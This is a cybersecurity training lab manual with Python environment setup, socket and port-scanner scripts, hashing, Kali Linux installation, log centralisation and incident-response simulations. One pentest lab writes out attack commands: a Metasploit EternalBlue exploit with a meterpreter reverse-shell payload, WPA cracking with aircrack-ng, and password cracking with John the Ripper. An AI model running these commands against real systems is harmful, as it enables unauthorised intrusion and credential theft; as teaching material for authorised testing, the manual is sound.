Chapter 2. Python for Cyber Security

Lab 2.1 – Setting Up a Python Cybersecurity Environment

Objective:

- Prepare a Python environment tailored for cybersecurity tasks.
- Install and configure essential Python libraries for network analysis, data manipulation, and security testing.

Instructions

Part 1: Install Python and Set Up a Virtual Environment

1. **Download Python:**
   - Visit the Python Official Website.
   - Download the latest stable version of Python for your operating system.
   - During installation (Windows), check the option to add Python to PATH.
2. **Install Python:**
   - Run the Python installer.
   - Follow the installation steps to complete the process.
3. **Verify Installation:**
   - Open a terminal/command prompt.
   - Enter the command:

   ```
   python --version
   ```

   Ensure Python is installed successfully.
4. **Create a Virtual Environment:**
   - Open a terminal/command prompt.
   - Enter the command:

   ```
   python -m venv cybersecurity_env
   ```

   Activate the Virtual Environment:
   - On Windows:

   ```
   .\cybersecurity_env\Scripts\activate
   ```

   - On macOS/Linux:

   ```
   source cybersecurity_env/bin/activate
   ```

Part 2: Install Cybersecurity Libraries

1. **Install Core Libraries:**
   - With the virtual environment activated, enter the command:

   ```
   pip install scapy requests beautifulsoup4 python-nmap paramiko pandas
   matplotlib yara-python
   ```

2. **Verify Installed Libraries:**
   - Check that the libraries are installed successfully by running:

   ```
   pip list
   ```

Reflection

1. What are the advantages of using a virtual environment when developing Python projects for cybersecurity?
2. How can you ensure that the installed libraries are secure and up to date?

Lab 2.2 – Setting Up Essential Python Libraries and Security Tools

Objectives

1. Install and configure Python libraries critical for cybersecurity tasks.
2. Set up additional security tools to extend your cybersecurity environment.
3. Configure your development environment with IDEs, version control, and practice resources.

Instructions

Part 1: Install Essential Python Libraries

1. **Set Up Python Environment:**
   - Open your terminal or command prompt.
   - Create a virtual environment for the project:

     ```
     python -m venv cybersecurity_env
     ```

   - Activate the virtual environment:
     - On Windows:

       ```
       .\cybersecurity_env\Scripts\activate
       ```

     - On macOS/Linux:

       ```
       source cybersecurity_env/bin/activate
       ```

2. **Install Libraries:**
   - Install essential Python libraries for cybersecurity:

     ```
     pip install scapy requests beautifulsoup4 python-nmap paramiko pwntools
     pandas matplotlib yara-python
     ```

   - Verify the installation by listing the installed libraries:

     ```
     pip list
     ```

3. **Test Installation:**
   - Run the following code snippet to verify a successful setup:

     ```
     import scapy, requests, pandas, matplotlib
     print("Libraries installed successfully!")
     ```

Part 2: Install Additional Security Tools

1. **Metasploit:**
   - Follow the official Metasploit installation guide to install the framework for your operating system.
   - Verify installation by launching the msfconsole command.
2. **Wireshark:**

- Download Wireshark from the official website.
- Install and run the application. Test by capturing live network traffic on your device.

3. **Burp Suite:**
    - Download the Community Edition of Burp Suite from the official website.
    - Install and configure Burp Suite for basic web application scanning.

Part 3: Configure Your Development Environment

1. **Install an IDE:**
    - Recommended options:
        - Visual Studio Code: Download VS Code.
        - PyCharm: Download PyCharm.

Install Python extensions or plugins for your IDE to enable features like syntax highlighting and debugging.

2. **Set Up Version Control:**
    - Install Git:
        - On Windows: Download from Git for Windows.
        - On Linux/macOS: Use your package manager (e.g., sudo apt install git).
    - Configure your GitHub or GitLab account to manage your code repositories:

```
git config --global user.name "Your Name"
git config --global user.email "your.email@example.com"
```

Part 4: Learn and Practice

1. **Online Learning Resources:**
    - Explore Python cybersecurity courses on platforms like:
        - Cybrary.
        - TryHackMe.
        - Hack The Box.
2. **Practice Projects:**
    - Start simple:
        - Build a port scanner using Python.
        - Create a basic vulnerability scanner.
    - Progress to advanced projects:
        - Automate penetration testing tasks.
        - Implement a malware detection system.
3. **CTF Challenges:**
    - Join Capture The Flag (CTF) competitions to apply cybersecurity skills in real-world scenarios.
    - Platforms:
        - Hack The Box.
        - OverTheWire.

Reflection

1. What are the advantages of using a virtual environment for managing Python libraries?
2. How can tools like Metasploit and Wireshark enhance cybersecurity capabilities?
3. Discuss the importance of version control in collaborative cybersecurity projects.

Lab 2.3 – Exploring Python Syntax, Data Types, and Control Flows

Objectives

1. Understand Python's basic syntax and data types.
2. Use conditional statements and loops to control program execution.
3. Create reusable functions and utilize Python modules to simplify tasks.

Instructions

Part 1: Basic Syntax and Data Types

1. **Practice Comments and Variables:**
   - Open your Python editor or IDE.
   - Create a Python script named basic_syntax.py.
   - Add the following code and run it:

```
# This is a single-line comment
"""
This is a multi-line comment.
It can span multiple lines.
"""


x = 5  # Integer
y = 3.14  # Float
name = "Alice"  # String
is_active = True  # Boolean

print(f"x: {x}, y: {y}, name: {name}, is_active: {is_active}")
```

2. **Explore Data Types:**
   - Extend your script with examples of primary data types:

```
list_example = [1, 2, 3]
tuple_example = (1, 2, 3)
dict_example = {"key1": "value1", "key2": "value2"}
set_example = {1, 2, 3}

print("List:", list_example)
print("Tuple:", tuple_example)
print("Dictionary:", dict_example)
print("Set:", set_example)
```

3. **Reflection Questions:**
    - What is the difference between a list and a tuple?
    - How does a set ensure unique elements?

Part 2: Control Flows

1. **Conditional Statements:**
    - Add this code to your script and test different conditions:

```
if is_active:
    print("Active")
elif x > 0:
    print("Positive")
else:
    print("Not active and non-positive")
```

2. **Loops:**
    - Implement a for loop and a while loop:

```
print("For loop example:")
for i in range(5):
    print(i)

print("While loop example:")
while x > 0:
    print(x)
    x -= 1
```

3. **Reflection Questions:**
    - What happens if the while loop condition is never false?
    - How can break and continue be used to control loops?

Part 3: Functions

1. **Define a Simple Function:**
    - Add this function to your script:

```
def greet(name):
    return f"Hello, {name}!"

print(greet("Alice"))
```

2. **Experiment with Arguments and Return Values:**
    - Modify the function to accept an optional greeting:

```
def greet(name, greeting="Hello"):
    return f"{greeting}, {name}!"

print(greet("Alice"))
print(greet("Bob", "Hi"))
```

3. **Reflection Questions:**

   - How can functions simplify repetitive tasks in cybersecurity?
   - What happens if you call the function without required arguments?

Part 4: Modules

1. **Import Standard Libraries:**
   - Add this code to your script to explore standard modules:

```
import os
import hashlib

print("Current directory:", os.getcwd())

# Hash a string using SHA-256
hash_object = hashlib.sha256(b'Hello World')
print("SHA-256 hash:", hash_object.hexdigest())
```

2. **Experiment with Additional Modules:**
   - Use the random module to generate random numbers:

```
import random

print("Random number (1-10):", random.randint(1, 10))
```

3. **Reflection Questions:**
   - How do modules improve code reusability?
   - Which cybersecurity tasks might benefit from modules like os and hashlib?

Reflection

1. How do Python's data types support different cybersecurity tasks?
2. Why is understanding control flows important for automation in cybersecurity?
3. How do functions and modules contribute to efficient and modular programming?

Lab 2.4 – Networking with Python for Cybersecurity

Objectives

1. Understand Python's networking capabilities using the socket library.
2. Build scripts to create client-server connections, send and receive data, and analyse network traffic.
3. Develop a port scanner to identify open ports on a target machine.

Required Resources

- Python 3.x installed on your system.
- A local network or virtual machine for testing.
- Text editor or IDE (e.g., VS Code, PyCharm).

Instructions

Part 1: Establishing TCP Connections

1. **Create a TCP Client:**
   - Open your text editor and create a file named tcp_client.py.
   - Add the following code:

```
import socket

# Create a TCP socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to a remote server
server_ip = "example.com"  # Replace with the target IP or hostname
server_port = 80  # Port number
try:
    client_socket.connect((server_ip, server_port))
    print(f"Connected to {server_ip} on port {server_port}")
except socket.error as e:
    print(f"Connection failed: {e}")
finally:
    client_socket.close()
```

2. **Test the Client:**
   - Run the script and observe the connection status.
   - Modify the server_ip and server_port values to test connections with different servers.

Part 2: Creating a Simple Server

1. **Write a TCP Server:**
   - Create a file named tcp_server.py and add the following code:

```
import socket

# Create a TCP socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind to a local address and port
```

```
server_ip = "127.0.0.1"  # Localhost
server_port = 8080
server_socket.bind((server_ip, server_port))

# Listen for incoming connections
server_socket.listen(1)
print(f"Server listening on {server_ip}:{server_port}")

# Accept a connection
conn, addr = server_socket.accept()
print(f"Connection established with {addr}")

# Send and receive data
conn.send(b"Hello, Client!")
data = conn.recv(1024)
print(f"Received: {data.decode()}")

# Close the connection
conn.close()
server_socket.close()
```

2. **Test the Server:**
   - Run the server script and keep it running.
   - Connect to the server using a telnet client or a Python client script.

Part 3: Sending and Receiving Data

1. **Enhance the Client Script:**
   - Modify tcp_client.py to send data to the server:

```
client_socket.send(b"Hello, Server!")
response = client_socket.recv(1024)
print(f"Server response: {response.decode()}")
```

2. **Run the Client and Server:**
   - Start the server and then run the client.
   - Observe the message exchange between the two programs.

Part 4: Building a Port Scanner

1. **Write a Port Scanner Script:**
   - Create a file named port_scanner.py with the following code:

```
import socket

def port_scanner(target, ports):
    print(f"Scanning {target}...")
    for port in ports:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            socket.setdefaulttimeout(1)
            result = s.connect_ex((target, port))
            if result == 0:
                print(f"Port {port} is open")
            else:
                print(f"Port {port} is closed")

target_ip = "127.0.0.1"  # Replace with your target IP
ports_to_scan = [22, 80, 443, 8080]
port_scanner(target_ip, ports_to_scan)
```

2. **Test the Port Scanner:**
    - Run the script to scan the specified ports on the target IP.
    - Modify the target_ip and ports_to_scan list to test different scenarios.

Reflection

1. What is the difference between TCP and UDP in socket programming?
2. How can you secure client-server communication to prevent unauthorized access?
3. What are the ethical considerations when running a port scanner on a network?

Lab 2.5 – Cryptography with Hashing in Python

Objectives

1. Understand the role of hashing in cybersecurity for securing sensitive information.
2. Explore common hashing algorithms such as SHA-256 and MD5.
3. Implement Python scripts to hash data and validate file integrity.

Background / Scenario

Hashing is a fundamental concept in cryptography, used for securely storing passwords, verifying data integrity, and more. Hashing transforms input data into a fixed-length string, which represents the data but cannot be reversed. Common hashing algorithms include MD5, SHA-1, and SHA-256.

In this lab, participants will use Python's hashlib library to hash data, compare hashes, and validate file integrity.

Required Resources

- Python 3.x installed on your system.
- Text editor or IDE (e.g., VS Code, PyCharm).
- A sample text file (e.g., sample.txt) for file integrity testing.

Instructions

Part 1: Hashing Basics

1. **Create a Python Script:**
    - Open your text editor and create a file named hashing_basics.py.
    - Add the following code to hash a string using SHA-256:

```
import hashlib

def hash_string(data):
    return hashlib.sha256(data.encode()).hexdigest()

# Test the function
input_data = "secure_password"
hashed_data = hash_string(input_data)
print(f"Original Data: {input_data}")
print(f"Hashed Data: {hashed_data}")
```

2. **Run the Script:**
    - Execute the script and observe the hashed output.
    - Try changing the input data and notice how even a small change produces a vastly different hash.
3. **Reflection Questions:**
    - Why is hashing one-way (irreversible)?
    - How does the hash change if the input data is altered?

Part 2: Comparing Hashes

1. **Extend the Script:**
    - Add functionality to compare hashes:

```
def verify_hash(data, hashed):
    return hash_string(data) == hashed

# Verify a correct and incorrect password
correct_data = "secure_password"
incorrect_data = "wrong_password"

print("Verification (correct):", verify_hash(correct_data, hashed_data))
print("Verification (incorrect):", verify_hash(incorrect_data, hashed_data))
```

2. **Run the Script:**
    - Test the script with matching and non-matching data.
    - Discuss how this process is used in systems to validate stored password hashes.

1. **Reflection Questions:**
    - How does salting improve the security of hashed passwords?
    - What happens if two identical inputs are hashed with different salts?

Reflection

1. How does hashing contribute to data security in applications like password storage?
2. Why is it important to use strong and collision-resistant hashing algorithms?
3. What are the risks of using older algorithms like MD5 and SHA-1?

Chapter 3. Cyber Threat Modelling and Hunting Lab 3.1 – Installing Kali Linux on VMware or VirtualBox Objectives

1. Learn how to set up a virtual machine for Kali Linux using VMware or VirtualBox.
2. Understand the process of downloading, installing, and configuring Kali Linux.
3. Prepare a virtualized environment for penetration testing and cybersecurity tasks.

Background / Scenario

Kali Linux is a powerful penetration testing platform, often run in virtualized environments for security assessments. This lab will guide you through installing Kali Linux on VMware or VirtualBox, creating a secure and flexible environment for cybersecurity experimentation.

Required Resources

- Host machine with VMware Workstation Player or VirtualBox installed.
- Internet connection.
- Kali Linux ISO or pre-built VM image downloaded from the official website.

Instructions

Part 1: Download Kali Linux

1. **Visit the Official Website:**
   - Open a browser and navigate to Kali Linux Downloads.
2. **Choose the Correct Version:**
   - Download the pre-built VMware image for VMware or the ISO file for VirtualBox.
   - Verify the checksum (SHA256) of the downloaded file to ensure integrity.

Part 2: Create a Virtual Machine

Using VMware Workstation Player:

1. **Open VMware Workstation Player:**
   - Launch VMware Workstation Player on your host machine.
2. **Import the VM (for Pre-built VMware Image):**
   - Go to File > Open.
   - Select the downloaded .ova file and follow the prompts to import the VM.
3. **Create a New VM (for ISO):**
   - Select Create a New Virtual Machine.
   - Choose Installer disc image file (ISO) and browse to the Kali Linux ISO.
   - Configure VM settings:
     - OS: Linux > Debian 64-bit.
     - Memory: At least 2 GB (4 GB recommended).
     - Disk Space: At least 20 GB (40 GB recommended).

   - Complete the setup wizard.

Using VirtualBox:

1. **Open VirtualBox:**
   - Launch VirtualBox on your host machine.
2. **Import the VM (for Pre-built VirtualBox Image):**
   - Go to File > Import Appliance.
   - Select the downloaded .ova file and follow the prompts.
3. **Create a New VM (for ISO):**
   - Click New and configure:
     - Name: Kali Linux.
     - OS Type: Linux > Debian (64-bit).
     - Memory: At least 2 GB (4 GB recommended).
     - Create a new virtual hard disk (VDI) with at least 20 GB (40 GB recommended).
   - Attach the Kali Linux ISO in Settings > Storage > Controller: IDE.

Part 3: Install Kali Linux

1. **Start the VM:**
   - Select the newly created or imported VM and click Start.
2. **Installation Steps:**
   - Choose Graphical Install or Install from the boot menu.
   - Follow the on-screen instructions:
     - Select language, location, and keyboard layout.
     - Configure network settings (use default or manual if required).
     - Set up a root password or a non-root user during installation.
     - Partition disks (use guided partitioning for simplicity).
     - Install the GRUB bootloader on the primary disk.
3. **Complete Installation:**
   - Reboot the VM after installation.
   - Remove the ISO file from the virtual drive if prompted.

Part 4: Configure Kali Linux

1. **Login:**
   - Use the credentials set during installation to log in.
2. **Update the System:**
   - Open a terminal and run:

```
sudo apt update && sudo apt upgrade -y
```

3. **Install VMware Tools or VirtualBox Guest Additions:**
   - VMware Tools:

```
sudo apt install open-vm-tools-desktop -y
reboot
```

   - VirtualBox Guest Additions:

- Insert Guest Additions CD Image from VirtualBox menu.

Run the installation script:

```
sudo apt install -y dkms build-essential linux-headers-$(uname -r)
sudo sh /media/cdrom/VBoxLinuxAdditions.run
reboot
```

4. **Test the Configuration:**
   - Ensure network connectivity and that the display resolution adjusts automatically.

Part 5: Take a Snapshot

1. **Why Take a Snapshot?**
   - Snapshots allow you to save the current state of the VM, making it easy to revert if issues arise during experiments.
2. **Create a Snapshot:**
   - VMware: Right-click the VM > Snapshots > Take Snapshot.
   - VirtualBox: Select the VM > Snapshots > Take Snapshot.

Reflection

1. Why is virtualization useful for penetration testing?
2. What are the benefits of using pre-built VM images versus manual installation from ISO?
3. How can snapshots improve your workflow during cybersecurity experiments?

Lab 3.2 – Penetration Testing Tools with Kali Linux

Objectives

1. Learn to use essential penetration testing tools in Kali Linux for security assessments.
2. Understand how to perform network scanning, web application testing, exploitation, wireless security testing, and password cracking.
3. Gain hands-on experience with tools such as Nmap, Metasploit, Burp Suite, and John the Ripper.

Background / Scenario

Kali Linux is a powerful platform that provides an extensive suite of tools for penetration testing and security auditing. In this lab, you will explore some of the most commonly used tools and understand their applications in identifying vulnerabilities, testing system defences, and strengthening cybersecurity measures.

Required Resources

- A system running Kali Linux (physical machine, VM, or cloud instance).
- Internet connection.
- Target system or a safe test environment for penetration testing.

Instructions

Part 1: Network Scanning with Nmap

1. **Objective:**
   - Use Nmap to perform network scanning and identify open ports and services.
2. **Steps:**
   - Open a terminal in Kali Linux.
   - Run the following Nmap command to scan a target network or IP:

     ```
     nmap -sS -sV -O 192.168.1.1
     ```

     - -sS: Perform a TCP SYN scan.
     - -sV: Detect service versions.
     - -O: Identify the operating system.
3. **Analyze Results:**
   - Observe the detected open ports, services, and operating system information.
4. **Reflection Questions:**
   - What do the results reveal about the target system's vulnerabilities?
   - How can this information be used to strengthen security?

Part 2: Exploitation with Metasploit

1. **Objective:**
   - Use the Metasploit Framework to exploit a known vulnerability.
2. **Steps:**
   - Launch Metasploit:

     ```
     msfconsole
     ```

   - Search for a specific exploit (e.g., SMB vulnerability):

     ```
     search smb
     ```

   - Select and configure an exploit:

     ```
     use exploit/windows/smb/ms17_010_eternalblue
     set RHOST 192.168.1.1
     set PAYLOAD windows/x64/meterpreter/reverse_tcp
     set LHOST <Your Kali IP>
     run
     ```
3. **Verify Exploitation:**
   - If successful, access the target system with the meterpreter shell.
4. **Reflection Questions:**
   - What makes Metasploit a powerful tool for penetration testing?
   - How can defenders detect and mitigate exploitation attempts?

Part 3: Web Application Testing with Burp Suite

1. **Objective:**
   - Use Burp Suite to identify web application vulnerabilities.
2. **Steps:**

- Launch Burp Suite:

  ```
  burpsuite
  ```

- Configure the browser to use Burp as a proxy:
  - Set the proxy to 127.0.0.1:8080 in the browser settings.
- Intercept web requests and analyze them in the Proxy tab.
- Use the Scanner module to scan for vulnerabilities in a web application.

3. **Analyze Results:**
   - Review findings for issues like SQL injection, XSS, or authentication flaws.
4. **Reflection Questions:**
   - What are the ethical considerations when testing web applications?
   - How can application developers address the vulnerabilities detected by Burp Suite?

Part 4: Wireless Security Testing with Aircrack-ng

1. **Objective:**
   - Assess the security of a Wi-Fi network using Aircrack-ng.
2. **Steps:**
   - Place the wireless interface in monitor mode:

     ```
     airmon-ng start wlan0
     ```

   - Capture packets from a specific network:

     ```
     airodump-ng wlan0mon
     ```

   - Crack the WPA/WPA2 password:

     ```
     aircrack-ng -w wordlist.txt -b <BSSID> capture_file.cap
     ```

3. **Analyze Results:**
   - Determine the strength of the network's encryption and password.
4. **Reflection Questions:**
   - Why is it important to test Wi-Fi networks regularly?
   - How can organizations ensure robust wireless security?

Part 5: Password Cracking with John the Ripper

1. **Objective:**
   - Test the strength of hashed passwords using John the Ripper.
2. **Steps:**
   - Create a file with hashed passwords:

     ```
     echo "password_hash" > hashes.txt
     ```

   - Run John the Ripper on the hashes:

     ```
     john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
     ```

3. **Analyze Results:**
   - Review cracked passwords and assess their complexity.
4. **Reflection Questions:**
   - How can organizations enforce strong password policies?

- What are the limitations of password-cracking tools?

Optional Challenge: Combine Tools for Comprehensive Testing

1. **Objective:**
   - Use multiple tools to simulate a penetration testing workflow.
2. **Steps:**
   - Perform network scanning with Nmap.
   - Exploit detected vulnerabilities using Metasploit.
   - Test web application security with Burp Suite.
   - Analyze Wi-Fi security with Aircrack-ng.
   - Test password strength with John the Ripper.

Reflection

1. How do the tools in Kali Linux complement each other in penetration testing workflows?
2. What are the ethical and legal considerations when using penetration testing tools?
3. How can these tools be integrated into a proactive cybersecurity strategy?

Chapter 4. Log Analysis, Visualization, and Security Monitoring

Lab 4.1 – Collecting and Managing Logs from Multiple Sources

Objective

1. Learn how to collect logs from various sources, including operating systems, applications, and network devices.
2. Centralize the collected logs for easier monitoring and analysis using a log management tool.

Background / Scenario

Logs are vital for understanding system activity, diagnosing issues, and enhancing security. By collecting and centralizing logs, security analysts gain insights into system performance and identify potential security threats. This lab will demonstrate how to:

- Collect logs from Windows, Linux, and network devices.
- Centralize logs using Graylog for efficient analysis.

Required Resources

- A Windows machine.
- A Linux server (e.g., Ubuntu).
- A network device or a simulated router.
- Graylog server or any centralized log management tool installed.

Instructions

Part 1: Log Collection from Operating Systems

Step 1: Collect Logs from Windows

1. **Enable Event Viewer Logs:**
   - Open the Event Viewer (eventvwr.msc).
   - Navigate to **Windows Logs** > **Application**, **Security**, or **System**.
   - Export logs:
     - Right-click a log (e.g., Application).
     - Select Save All Events As... and save as .evtx or .csv.
2. **Centralize Windows Logs (Optional):**
   - Install a Syslog agent (e.g., NXLog or Winlogbeat).
   - Configure the agent to forward logs to a centralized logging tool (e.g., Graylog).

Step 2: Collect Logs from Linux

1. **Verify Syslog Service:**
   - Check if rsyslog or syslog-ng is running:

```
sudo systemctl status rsyslog
```

2. **View Logs:**
   - Navigate to the log directory:

```
cd /var/log
```

   - Common logs:
     - /var/log/syslog or /var/log/messages (system activity).
     - /var/log/auth.log (authentication attempts).
     - /var/log/dmesg (kernel events).
3. **Export Logs:**
   - Use cat or tail to view logs, then save:

```
sudo cat /var/log/syslog > syslog_backup.log
```

4. **Forward Logs to Graylog:**
   - Install Logstash or Fluentd:

```
sudo apt install logstash
```

   - Configure logstash.conf to forward logs to Graylog.

Part 2: Log Collection from Applications

Step 1: Collect Logs from Web Servers

1. **Apache Logs:**
   - Navigate to the log directory:

```
cd /var/log/apache2
```

   - Common logs:
     - access.log (HTTP requests).
     - error.log (errors and warnings).
2. **Nginx Logs:**

   - Navigate to the log directory:

     ```
     cd /var/log/nginx
     ```

   - Common logs:
     - access.log (client requests).
     - error.log (server errors).

3. **Centralize Web Server Logs:**
   - Install Filebeat:

     ```
     sudo apt install filebeat
     ```

   - Configure filebeat.yml to ship logs to Graylog.

Step 2: Collect Logs from Databases

1. **MySQL Logs:**
   - Common logs:
     - /var/log/mysql/error.log (errors and warnings).
   - Export logs:

     ```
     sudo cat /var/log/mysql/error.log > mysql_error_backup.log
     ```

2. **PostgreSQL Logs:**
   - Configure logging in postgresql.conf:

     ```
     sudo nano /etc/postgresql/12/main/postgresql.conf
     ```

   - Set:

     ```
     logging_collector = on
     log_directory = '/var/log/postgresql'
     log_filename = 'postgresql.log'
     ```

   - Restart the PostgreSQL service:

     ```
     sudo systemctl restart postgresql
     ```

Part 3: Log Collection from Network Devices

Step 1: Enable Syslog on Network Devices

1. **Cisco Router:**
   - Log in to the router.
   - Configure Syslog:

     ```
     logging host <Graylog_IP>
     logging trap informational
     ```

2. **Mikrotik Router:**
   - Enable logging in the Mikrotik interface.
   - Set the log destination to a Syslog server.

Step 2: Collect and Forward Logs

1. Use Syslog to gather logs on a centralized server.
2. Use tools like Graylog or Splunk for further analysis.

Part 4: Centralized Log Management with Graylog

Step 1: Install Graylog

1. **Install Dependencies:**
    - Ensure MongoDB and Elasticsearch are installed.
    - Install Graylog:

    ```
    sudo apt install graylog-server
    ```

2. **Configure Graylog:**
    - Edit the server.conf file:

    ```
    sudo nano /etc/graylog/server/server.conf
    ```

    - Set the rest_listen_uri and web_listen_uri to match the server's IP.
3. **Start the Service:**

    ```
    sudo systemctl start graylog-server
    ```

Step 2: Configure Inputs

1. Log in to the Graylog web interface.
2. Navigate to **System/Inputs** > **Launch New Input**.
3. Choose **Syslog UDP** or **Syslog TCP** based on your setup.
4. Start the input and note the port number.

Step 3: Visualize Logs

1. Send logs to Graylog using Syslog or other agents.
2. Use Graylog's search and dashboards to analyze logs.

Reflection

1. How does centralized logging simplify log management?
2. What are the advantages of collecting logs from multiple sources?
3. How can centralized logging improve threat detection?

Chapter 5. Incident Detection and Response

Lab 5.1 – Incident Detection and Response

Objective

- Understand and implement the phases of incident detection and response.
- Use Python tools for log analysis, incident simulation, and response automation.
- Explore incident reporting and post-incident analysis practices.

Required Resources

- Python 3 installed on a machine.
- Virtual environment setup for running Python scripts.
- Example log files and SIEM/EDR tools (optional).

Instructions

Part 1: Incident Handling and Response Procedures

Step 1: Preparation

1. **Incident Response Plan Overview**

Write a Python script to simulate incident response logging during an event. Create a file incident_response_plan.py with the following code:

```
import logging

# Configure the logger
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# Log preparation activities
logging.info("Incident Response Plan initiated.")
logging.info("Formed Incident Response Team (IRT).")
logging.info("Deployed SIEM and EDR tools.")
logging.info("Conducted staff training on incident response procedures.")
```

2. **Run the Script**:

```
python3 incident_response_plan.py
```

Step 2: Detection and Identification

1. **Simulate Anomaly Detection**

   Create a file detect_incident.py with the following code:

```
import random

# Simulate detection of incidents
```

```
incidents = ["Phishing Attack", "Malware Infection", "Unauthorized Access",
"Ransomware Attack"]
detected_incident = random.choice(incidents)

print(f"Detected Incident: {detected_incident}")

if detected_incident == "Ransomware Attack":
    print("Initiating immediate containment procedures.")
else:
    print("Analyzing further to confirm incident type.")
```

2. **Run the Script**:

```
python3 detect_incident.py
```

Step 3: Containment and Eradication

1. **Containment Script**

   Create a file containment.py to simulate isolating a system:

```
def isolate_system(ip_address):
    print(f"Isolating system with IP address: {ip_address}")
    print("Blocking all network traffic for the affected system.")

isolate_system("192.168.1.101")
```

2. **Run the Script**:

```
python3 containment.py
```

3. **Eradication Script**

   Create a file eradication.py to simulate malware removal:

```
def remove_malware():
    print("Scanning system for malware...")
    print("Malware detected and removed successfully.")

remove_malware()
```

4. **Run the Script**:

```
python3 eradication.py
```

Part 2: Post-Incident Analysis and Reporting

Step 1: Reconstruct Incident Timeline

1. **Parse Logs to Reconstruct Events**

   Create a file incident_timeline.py:

```
import re

# Example log entries
logs = [
    "2024-11-19 10:00:00 - INFO - Phishing email detected.",
    "2024-11-19 10:05:00 - WARNING - User clicked on phishing link.",
    "2024-11-19 10:10:00 - CRITICAL - Unauthorized access detected."
]

print("Incident Timeline:")
for log in logs:
    timestamp, level, message = re.split(r" - ", log)
    print(f"{timestamp} - {message}")
```

2. **Run the Script**:

```
python3 incident_timeline.py
```

Step 2: Generate Incident Report

1. **Generate a Detailed Report**
   Create a file incident_report.py:

```
report = """
Incident Summary:
- Type: Phishing Attack leading to Unauthorized Access
- Detection Time: 10:00 AM, 2024-11-19
- Containment Time: 10:30 AM, 2024-11-19
- Eradication Time: 11:00 AM, 2024-11-19

Impact Assessment:
- Affected Systems: 1 workstation (192.168.1.101)
- Data Exfiltrated: None detected
- Financial Loss: Minimal

Recommendations:
- Improve phishing email detection.
- Conduct training on recognizing phishing attacks.
- Implement stricter email security policies.
"""


with open("incident_report.txt", "w") as file:
    file.write(report)


print("Incident report generated as 'incident_report.txt'.")
```

2. **Run the Script**:

```
python3 incident_report.py
```

3. **Verify the Report**: Open incident_report.txt to review the report content.

Part 3: Introduction to Digital Forensics

Step 1: Extract Evidence

1. **Extract Evidence from Logs**

   Create a file extract_evidence.py:

```
log_data = [
    "2024-11-19 10:00:00 - INFO - Phishing email detected.",
    "2024-11-19 10:05:00 - WARNING - User clicked on phishing link.",
    "2024-11-19 10:10:00 - CRITICAL - Unauthorized access detected."
]

print("Extracted Evidence:")
for log in log_data:
    if "CRITICAL" in log or "WARNING" in log:
        print(log)
```

2. **Run the Script**:

```
python3 extract_evidence.py
```

Reflection

1. What challenges did you encounter during the incident response phases?
2. How can automation improve the efficiency of incident detection and response?
3. What additional tools or techniques could enhance the process in this lab?

Lab 5.2 – Case Studies of Real Incidents in Digital Forensics

Objective

- Analyse real-world cybersecurity incidents and understand the forensic actions taken to resolve them.
- Apply digital forensic techniques to hypothetical scenarios inspired by these incidents.
- Reflect on the lessons learned and strategies for preventing similar incidents in the future.

Required Resources

- Python 3 installed on a computer.
- Example log files (real or simulated) for analysis.
- Access to forensic tools like Wireshark (optional).
- A text editor or IDE for scripting.

Instructions

Part 1: Case Study Simulations

Step 1: Sony PlayStation Network (PSN) Hack (2011)

1. **Simulate Log Analysis**

   Create a script psn_analysis.py to simulate analysing logs for suspicious activity:

```
import re

logs = [
    "2024-11-19 12:00:00 - INFO - User login: UserID123",
    "2024-11-19 12:01:00 - WARNING - Multiple failed login attempts: UserID123",
    "2024-11-19 12:05:00 - CRITICAL - Unauthorized access detected: UserID123"
]

print("Analyzing Logs for Sony PSN Hack Simulation:")
for log in logs:
    if "CRITICAL" in log or "WARNING" in log:
        print(f"Suspicious Activity Detected: {log}")
```

2. **Run the Script**:

```
python3 psn_analysis.py
```

3. **Reflection**: How would enhanced access controls and encryption have prevented this incident?

Step 2: Target Data Breach (2013)

1. **Simulate Malware Analysis**

   Create a script target_malware_analysis.py to simulate scanning for malware:

```
import hashlib

files = {
    "transaction_data.csv": "abc123",
    "point_of_sale.exe": "malware456",
    "vendor_access.log": "def789"
}

malware_hash = "malware456"

print("Scanning Files for Malware:")
for file, hash_value in files.items():
    if hash_value == malware_hash:
        print(f"Malware Detected in {file}")
```

2. **Run the Script**:

```
python3 target_malware_analysis.py
```

3. **Reflection**: Discuss the importance of vendor management and network segmentation in preventing breaches.

Step 3 WannaCry Ransomware Attack (2017)

1. **Simulate Ransomware Detection**

Create a script wannacry_detection.py:

```
files = [
    {"name": "document1.docx", "status": "Encrypted"},
    {"name": "photo.jpg", "status": "Encrypted"},
    {"name": "notes.txt", "status": "Accessible"}
]
```

```
print("Checking Files for Ransomware Encryption:")
for file in files:
    if file["status"] == "Encrypted":
        print(f"ALERT: {file['name']} is encrypted!")
```

2. **Run the Script**:

```
python3 wannacry_detection.py
```

3. **Reflection**: Explain the importance of backups and timely updates in mitigating ransomware.

Part 2: Case Study Review and Reporting

1. **Generate a Comprehensive Report**

   Create a script incident_report_generator.py:

```
def generate_report(incident_name, actions, outcome):
    report = f"""
    Incident Report: {incident_name}
    ------------------------------
    Actions Taken:
    {actions}

    Outcome:
    {outcome}
    """
    with open(f"{incident_name.replace(' ', '_')}_report.txt", "w") as file:
        file.write(report)
    print(f"Report generated for {incident_name}")

generate_report(
    "WannaCry Ransomware Attack (2017)",
    "Detected widespread ransomware encryption. Isolated affected systems.
Restored files from backup.",
    "Attack contained. Systems restored. No further issues detected."
)
```

2. **Run the Script**:

```
python3 incident_report_generator.py
```

3. **Verify the Report**: Open WannaCry_Ransomware_Attack_(2017)_report.txt to review the generated report.

Reflection

1. What are the common patterns and lessons learned across these incidents?
2. How can organizations strengthen their incident response plans based on these case studies?

3. What role do forensic tools play in detecting, analysing, and mitigating security incidents?

Lab 5.3 – Using Pandas and NumPy for Incident Response Analysis

Objective

- Understand how to use Pandas and NumPy for analysing security incident data.
- Perform data cleaning, aggregation, and statistical analysis.
- Automate reporting and alert generation using Python.

Required Resources

- Python 3 installed on a computer.
- Pandas, NumPy, and Matplotlib libraries installed (pip install pandas numpy matplotlib).
- A sample CSV file containing incident response data (incident_data.csv).

Instructions

Part 1: Data Collection and Preparation

Step 1: Import Data Using Pandas

1. **Create a CSV file named incident_data.csv with the following sample content:**

```
incident_id,incident_type,value,date
1,Phishing,5,2024-11-01
2,Malware,3,2024-11-02
3,Data  Breach,7,2024-11-03
